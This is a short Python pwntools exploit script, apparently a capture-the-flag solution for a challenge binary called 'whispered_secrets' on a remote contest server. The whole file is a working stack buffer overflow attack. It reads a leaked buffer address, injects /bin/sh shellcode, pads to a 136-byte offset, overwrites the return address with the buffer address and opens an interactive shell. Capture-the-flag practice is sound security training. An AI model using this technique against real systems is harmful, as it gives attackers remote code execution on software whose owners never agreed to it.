#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF("whispered_secrets", checksec=False)
context.arch = "amd64"
context.os = "linux"

OFFSET_TO_RIP = 136

p = remote("offsec.m0lecon.it", 13528)

leak_line = p.recvline_contains(b"secret:")
buf_addr = int(leak_line.split(b"secret: ")[1].strip(), 16)
log.info(f"buf = {buf_addr:#x}")
# NX disabled
shellcode = asm(shellcraft.sh())

payload = flat(shellcode, b"A" * (OFFSET_TO_RIP - len(shellcode)), p64(buf_addr))
p.sendafter(b"secret:\n", payload)
p.interactive()
